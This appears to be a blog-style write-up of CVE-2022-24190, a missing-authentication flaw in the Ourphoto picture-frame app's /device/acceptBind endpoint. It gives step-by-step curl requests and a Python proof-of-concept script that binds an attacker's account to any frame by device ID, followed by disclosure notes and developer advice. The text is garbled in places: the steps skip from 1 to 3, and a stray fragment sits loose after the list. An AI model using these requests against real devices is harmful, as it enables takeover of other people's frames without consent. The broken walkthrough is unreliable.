CVE-2022-24190 - Unauthenticated Bind Attack in Ourphoto App Lets Attackers Take Over Picture Frames
In early 2022, a critical security issue came to light in the popular picture frame control app, Ourphoto (version 1.4.1). CVE-2022-24190 exposes users to a severe risk — attackers can control any registered picture frame without the owner’s approval, using an unauthenticated endpoint. This long read explains the bug, shows real exploit examples, links official references, and breaks down what you need to know to protect yourself.
What Is Ourphoto App?
Ourphoto is a mobile app designed to let users upload and share photos to digital photo frames over WiFi. In theory, it makes it easy for friends and family to connect. However, a flaw in its API authentication opens the door for anyone with basic HTTP skills to hijack other users’ frames.
The Vulnerable Endpoint
The main problem was found in the /device/acceptBind API endpoint. Normally, when a user wants to pair (bind) their account with a new frame, that request should require permission from the actual frame owner. Additionally, any action affecting device ownership should verify the user's identity using authentication headers (like user_token).
Here’s the problem:
- The /device/acceptBind endpoint does not require authentication or authorization.
The crucial user_token header is not checked or implemented for this function.
- Attackers can submit requests to bind to *any* photo frame, then send a request to the vulnerable endpoint to *accept* their own bind, without the owner ever knowing.
Step 1: Find a Valid Device ID
Most pairing requests use a device ID, usually easy to find or guess (e.g., sequential, or visible from frame settings or packaging).
Anyone can submit a bind request to the frame. Here’s a sample POST request (using curl)
curl -X POST \
https://api.ourphotoapp.com/device/bindRequest \
-H "Content-Type: application/json" \
-d '{"deviceId": "FRAME123456", "userId": "ATTACKER_ID"}'
Step 3: "Accept" the Bind on Behalf of the Victim
Using the vulnerable endpoint, the attacker now *accepts* their own request. This is where the real magic happens:
curl -X POST \
https://api.ourphotoapp.com/device/acceptBind \
-H "Content-Type: application/json" \
-d '{"deviceId": "FRAME123456", "userId": "ATTACKER_ID"}'
Potentially extract information about the device and network.
All this — without any notification or approval from the actual owner.
Proof-of-Concept Code
Below is a simple Python script that automates the exploit. (Educational purposes only!)
import requests
DEVICE_ID = "FRAME123456"
ATTACKER_ID = "attacker_email_or_userid"
# Step 1: Request to bind device
requests.post(
"https://api.ourphotoapp.com/device/bindRequest",
json={"deviceId": DEVICE_ID, "userId": ATTACKER_ID}
)
# Step 2: Accept the bind yourself (NO authentication!)
requests.post(
"https://api.ourphotoapp.com/device/acceptBind",
json={"deviceId": DEVICE_ID, "userId": ATTACKER_ID}
)
References and Original Disclosure
- CVE-2022-24190 at NVD
- Exploit-DB Entry
- Original Disclosure (cxsecurity.com)
Responsible Disclosure and Vendor Response
The issue was initially reported in early 2022. Ourphoto released an updated version with proper authentication checks on all sensitive endpoints. If you’re using an affected version (1.4.1 or earlier), immediately update to the latest version available from the app store or vendor website.
Key Takeaways
- APIs handling account pairing and device management must require strong authentication and authorization at every step.
Hardcoding or skipping security checks for convenience is a major risk.
- If you’re a developer, always verify user identity and authorization on API endpoints that change user permissions or device ownership.
Stay safe, and always update your apps! If you’d like to test your own systems for similar issues, try probing endpoints with and without your authentication tokens — you might be surprised what’s left exposed.
Timeline
Published on: 11/28/2022 22:15:00 UTC
Last modified on: 12/01/2022 23:19:00 UTC